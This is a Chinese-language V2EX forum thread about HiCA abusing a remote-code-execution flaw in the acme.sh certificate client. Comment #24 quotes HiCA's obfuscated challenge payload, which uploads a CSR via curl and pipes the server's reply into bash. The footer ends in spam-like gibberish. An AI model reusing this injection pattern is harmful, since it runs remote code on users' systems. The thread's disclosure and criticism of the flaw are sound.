acme.sh 存在 RCE 漏洞,已经被国产 HiCA 利用 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
baobao1270
V2EX    信息安全

acme.sh 存在 RCE 漏洞,已经被国产 HiCA 利用

  •  
  •   baobao1270 2023-06-09 17:36:55 +08:00 11085 次点击
    这是一个创建于 922 天前的主题,其中的信息可能已经有所发展或是发生改变。

    https://github.com/acmesh-official/acme.sh/issues/4659

    一家来自中国证书颁发机构 HiCA 正在向 ACME 质询过程中注入任意命令,并且可以被 acme.sh 在客户端执行。

    建议大家不要使用 HiCA 这家 CA ,最好仅使用知名的证书服务比如 ZeroSSL, Let's Encrypt, Google Trust Service 等。

    他们甚至还申请了专利……: https://qxb-img-osscache.qixin.com/patents_pdf_new/2219395a941e8bae0e5cb4475b3b3610.pdf

    47 条回复    2023-06-10 16:26:10 +08:00
    InDom
        1
    InDom  
       2023-06-09 17:40:17 +08:00
    什么?我又被白嫖了?
    v2yllhwa
        2
    v2yllhwa  
       2023-06-09 17:41:19 +08:00 via Android
    我还用过这家。。。记得宣称的就是只准使用 acme.sh ,不能用 gui 等方式签发。
    codehz
        3
    codehz  
       2023-06-09 17:54:59 +08:00   1
    专利的内容是显示付款信息,不是 rce
    baysonfox
        4
    baysonfox  
       2023-06-09 18:18:11 +08:00
    OP 里提到的 issue 里有人抓到了脚本,目前还没啥大问题 (见 https://github.com/acmesh-official/acme.sh/issues/4659#issuecomment-1583615376)
    NanoApe
        5
    NanoApe  
       2023-06-09 18:19:06 +08:00
    看了眼,并不是恶性利用,只是为了显示付款信息和收款二维码之类的
    baobao1270
        6
    baobao1270  
    OP
       2023-06-09 18:34:06 +08:00
    @v2yllhwa 因为只有 acme.sh 支持这么搞。标准的 acme 协议不支持这种。

    @codehz 是的,「显示付款信息」是动机,「利用 RCE 」是为了完成动机所做的行为。

    @NanoApe 我觉得还是应该警惕,今天可以显示付款信息、二维码,以后就有能力做「匿名数据收集」,再往后如果哪天「 CA 受到外部压力,奉命收集用户私钥,搞双证书体系」也是有可能的。
    azuis
        7
    azuis  
       2023-06-09 18:38:10 +08:00
    @codehz 但是问题是如果 rce 修掉之后就无法显示付款信息了。 实际上这个专利的实现依赖于 rce 。
    azuis
        8
    azuis  
       2023-06-09 18:43:21 +08:00   1
    其实专利上面有说这个 rce


    "[0014] ACME 标准请求和响应格式:根据 RFC8555 之定义,ACME 的请求与响应格式均为
    application/jose+json 格式,其作为 json 结构的进一步约束版本,所有的响应与请求参数
    都有严格的类型要求,ACME 服务器扩展的任何非 RFC8555 标准字段,均无法被客户端所理
    解,不论是展示或者去请求所返回的字段。
    [0015] 但是一部分 ACME 客户端,在处理异常之时,会将消息字段或者完整的响应 body 进
    行原始输出。这样就给了操作空间来扩展交互界面,例如想展示非 application/jose+json
    数据给客户端,甚至数据经过特殊 unicode 处理(用 unicode 字符拼出一张二维码),在客户
    端实现二维码的展示也是可行的。"

    是一部分客户端异常处理输出的时候的问题。
    Yadomin
        9
    Yadomin  
       2023-06-09 18:52:32 +08:00   20
    拿着这么大的洞居然只用来显示二维码,太感人了
    leonshaw
        10
    leonshaw  
       2023-06-09 19:18:59 +08:00 via Android   1
    @Yadomin 玩脱了 CA 会被吊销吧
    james122333
        11
    james122333  
       2023-06-09 19:26:30 +08:00 via Android   1
    这个烂脚本近八千行还 gpl 3.0 协议...
    patrickyoung
        12
    patrickyoung  
       2023-06-09 19:34:37 +08:00 via iPhone
    有没有人可以给一下这家公司的 CA 序列号或者信任链,我在本地吊销一下以保证我的安全
    buxiaozisun
        13
    buxiaozisun  
       2023-06-09 19:51:43 +08:00 via Android
    @patrickyoung 根证书 USERTrust 中间证书 Sectigo
    jKpzPv20NjX56i44
        14
    jKpzPv20NjX56i44  
       2023-06-09 19:59:20 +08:00
    他们的出发点是好的... 但是就是不知道这个世界的“规则”到底是什么。为什么就不提个 pr 呢...
    LeviMarvin
        15
    LeviMarvin  
       2023-06-09 20:06:29 +08:00
    同求该公司 CA 的证书信息,我需要本地吊销
    baobao1270
        16
    baobao1270  
    OP
       2023-06-09 20:24:29 +08:00   1
    @Yadomin 毕竟他们是 CA 公司,不会用来做真正的攻击行为。

    @patrickyoung
    @LeviMarvin
    他们是 Sectigo 分销,好像没有自己的中间证书。市面上很多家 CA 都是 Sectigo 的,你吊销了 Sectigo 证书那会误伤很多网站
    louisxxx
        17
    louisxxx  
       2023-06-09 20:36:41 +08:00
    @Yadomin 主要是用的人信任你才会用你的接口
    makelove
        18
    makelove  
       2023-06-09 20:49:32 +08:00   2
    acme.sh 为什么这么大的程序要用 shell 脚本来写?感觉用 sh 处理各类外来数据本身就很难搞可靠
    Trim21
        19
    Trim21  
       2023-06-09 20:56:57 +08:00
    太搞了,换 certbot 了
    slowman
        20
    slowman  
       2023-06-09 21:01:07 +08:00
    草台班子论再次生效
    LeviMarvin
        21
    LeviMarvin  
       2023-06-09 21:07:01 +08:00
    HiCA 自称不是 CA ,但其在国内注册的公司经营 CA 相关的服务(例如 PKI ),而且其作为分销商如何做到提供中国大陆内的 OCSP 服务,这应当由 CA 进行。简单来说,他们( HiCA )没有就利用漏洞进行商业一事做出声明,而且还自曝以防止 DDoS 攻击为借口将流量导向 WH 。
    LeviMarvin
        22
    LeviMarvin  
       2023-06-09 21:12:16 +08:00
    @patrickyoung 坏消息,只是一个无耻的中间商
    xiangyuecn
        23
    xiangyuecn  
       2023-06-09 21:31:42 +08:00
    我说呢,去年就发现了,这家的 ACME 接口返回的内容是命令行脚本,没法正常通过 ACME 客户端去申请证书,如果要干坏事是迟早的事

    ------------------

    快速在线验证: https://xiangyuecn.gitee.io/acme-html-web-browser-client/ACME-HTML-Web-Browser-Client.html

    打开《 HTML5 网页版 ACME 客户端后》,手动填写 ACME 地址: https://acme.hi.cn/directory ,然后随便填个域名和邮箱,点击创建两个密钥,然后就能看到 HiCA 返回的命令行文本了

    刚才测试了一下,acme.hi.cn 域名解析都没了,秒关了吗 还是我的网有问题
    xiangyuecn
        24
    xiangyuecn  
       2023-06-09 21:52:28 +08:00
    我网的问题,刚又打开了他们的网站。。哈

    接上面,填写了他们的 ACME 地址后,会提示跨域了,直接打开他们的 acme 服务地址打开控制台,然后执行一下页面代码,就能开始申请证书了,验证域名所有权的时候,切换到“文件 URL 验证”,就能看到:


    http://asdfas123.com/.well-known/acme-challenge/dd#acme.hi.cn/acme/v2/precheck-http/109651/179551#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/109651/179551?o=$_w|bash)#
    james122333
        25
    james122333  
       2023-06-09 22:11:55 +08:00 via Android
    @makelove

    shell 可以写 只是写很烂还要相容 posix sh 比较高级的特性都没有
    james122333
        26
    james122333  
       2023-06-09 22:17:02 +08:00 via Android
    是指这个脚本写很烂
    wellerman
        27
    wellerman  
       2023-06-10 00:46:38 +08:00
    这脑子好使,一看平时干过不少好事。
    jim9606
        28
    jim9606  
       2023-06-10 05:18:53 +08:00
    所以我觉得还是别用 shell 写太复杂的东西,值检查难写、eval 满天飞,搞出远程代码执行太正常了,哪怕用 python 都好些,至少不会依赖 eval 实现参数注入。

    @james122333 烂不烂跟用不用 GPL 有啥关系?
    james122333
        29
    james122333  
       2023-06-10 06:09:22 +08:00 via Android
    @jim9606

    shell 我都不写 eval XD
    烂是程序烂 一堆无用的代码 写的也很不简洁
    是指写的烂又 GPL 不是烂与 GPL 有关
    本来想改 看到协议算了 我还是自己搞一个
    marshmallow
        30
    marshmallow  
       2023-06-10 08:02:11 +08:00
    acme.sh 我就没有用 root 运行过,还在用 acme.sh 是因为 cetbot 不支持我的域名托管商,cloudflare 又会限制那五个免费域。certbot 我就用默认安装的,感觉用 root 运行关系不大。
    everyx
        31
    everyx  
       2023-06-10 08:52:41 +08:00
    现在用的 certbot 完全够用啦
    est
        32
    est  
       2023-06-10 09:01:51 +08:00
    让我想起四个字「聪明才智」
    benjix
        33
    benjix  
       2023-06-10 09:03:38 +08:00   5
    这家公司的法人就是 V2EX 上的 xoxo ,曾利用 GlobalSign 计费漏洞大量签发出售 1-5 年的 AlphaSSL 证书,后来事发被吊销
    https://v2ex.com/t/178503
    https://v2ex.com/t/78956
    azure2023us928
        34
    azure2023us928  
       2023-06-10 09:11:02 +08:00
    请问,漏洞修复了,删除了 exec ,这个专利是否变的没那么有价值了?

    另外,专利内容写的很好,看的出来是动了脑筋的,把现有的方案优缺点都说清楚了。

    就是这个题目 ‘无头’ 两字,感觉特别生硬!

    还不如叫一种 acme 商业证书智能支付模式。

    不得不说,完全抛开浏览器交互,全部由命令行输出 QR 码支付,简化支付流程,也是一种进步!
    azure2023us928
        35
    azure2023us928  
       2023-06-10 09:15:47 +08:00
    建议,acme.sh 作者考虑商业支付领域的分支,采用 api 的方式或者其他更加安全的方式,为第三方证书签发机构提供一个接口,让其能通过 acme 协议进行签发。对推广 acme 协议也是一种贡献,而不仅是简单封堵漏洞!

    既然有人发现了这个漏洞,而且还合理利用了,说明这个市场需求还是有的。
    azure2023us928
        36
    azure2023us928  
       2023-06-10 09:33:53 +08:00
    另外,这个专利还有很大局限性:当用户欠费时,没有消息通知,没有自动付款的途径。总不能让命令行一直开着,等着过期弹出 QR 码吧
    j8sec
        37
    j8sec  
       2023-06-10 09:48:41 +08:00   1
    @azure2023us928 邮件发送账单,用户支付后下次定时再续期;这个没有在申请文件中展开,很多边缘的拓展说明在最终申请文件里面精简了,原件 9 页,PDF 只有 4 页面。
    SenLief
        38
    SenLief  
       2023-06-10 09:57:23 +08:00
    @benjix 这么一说我想起来了,我也买了一个,不过域名没到 5 年就续费了。
    yzc27
        39
    yzc27  
       2023-06-10 10:24:24 +08:00
    不太懂具体原理,平时只在虚拟机里临时跑 acme.sh 来更新证书,每次更新完就把新的证书拉到服务器,然后虚拟机恢复快照。想知道这个漏洞会有什么安全隐患吗?
    xiangyuecn
        40
    xiangyuecn  
       2023-06-10 10:34:36 +08:00   1
    @yzc27 #39 这种流程,直接用我的网页版吧,简单省事。顺势再推广一波

    HTML5 网页版 ACME 客户端:只需在现代浏览器上操作即可获得 PEM 格式纯文本的域名证书,不依赖操作系统环境,无需下载和安装软件,纯手动操作,只专注于申请获得证书这一件事] https://xiangyuecn.gitee.io/acme-html-web-browser-client/ACME-HTML-Web-Browser-Client.html

    相对于 shell 脚本、可执行二进制程序,浏览器端的程序天然可以简单的做到:源码可控、流量可审查,缺点也很明显 没法自动化。
    yzc27
        41
    yzc27  
       2023-06-10 11:08:46 +08:00
    @xiangyuecn #40 谢谢大佬,这看起来挺不错,至少能图形化操作。我不太懂技术,用它不会把我域名申请到的证书传到别的服务器上吧?
    xiangyuecn
        42
    xiangyuecn  
       2023-06-10 11:20:13 +08:00
    @yzc27 #41 不会的,这个网页特意做成的一个单一文件,包括图标都是内嵌的;申请证书过程中请求的接口数据,可以按 F12 打开浏览器控制台查 Network 面板里面看得到,只会给选定的 ACME 接口发送数据;其中使用到的私钥只用于数据签名,私钥内容不会发送给任何人。
    julyclyde
        43
    julyclyde  
       2023-06-10 11:57:43 +08:00
    @azure2023us928 本来专利也不意味着价值。所以现在并不会“变得没那么”有价值
    yzc27
        44
    yzc27  
       2023-06-10 12:14:08 +08:00
    @xiangyuecn #42 您这个部署到 github pages 上可行吗?
    lwjef
        45
    lwjef  
       2023-06-10 13:48:33 +08:00 via iPhone
    @jim9606 #28 估计想表达的是小项目用 gpl 证书有些膈应人,不能拿来特别小修直接用,自己写个部分功能满足自己的也不难,因此不想回馈代码了。
    adoyle
        46
    adoyle  
       2023-06-10 14:30:32 +08:00
    在最新版本的 acme.sh 已移除了 exec 。这个专利没用了。
    https://github.com/acmesh-official/acme.sh/issues/4659#issuecomment-1584561604
    xiangyuecn
        47
    xiangyuecn  
       2023-06-10 16:26:10 +08:00
    @yzc27 #44 有 github 的,只是一个 html 文件,放电脑上也可以直接打开

    https://xiangyuecn.github.io/ACME-HTML-Web-Browser-Client/ACME-HTML-Web-Browser-Client.html
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     5202 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 39ms UTC 08:05 PVG 16:05 LAX 00:05 JFK 03:05
    Do have faith in what you're doing.
    ubao msn snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86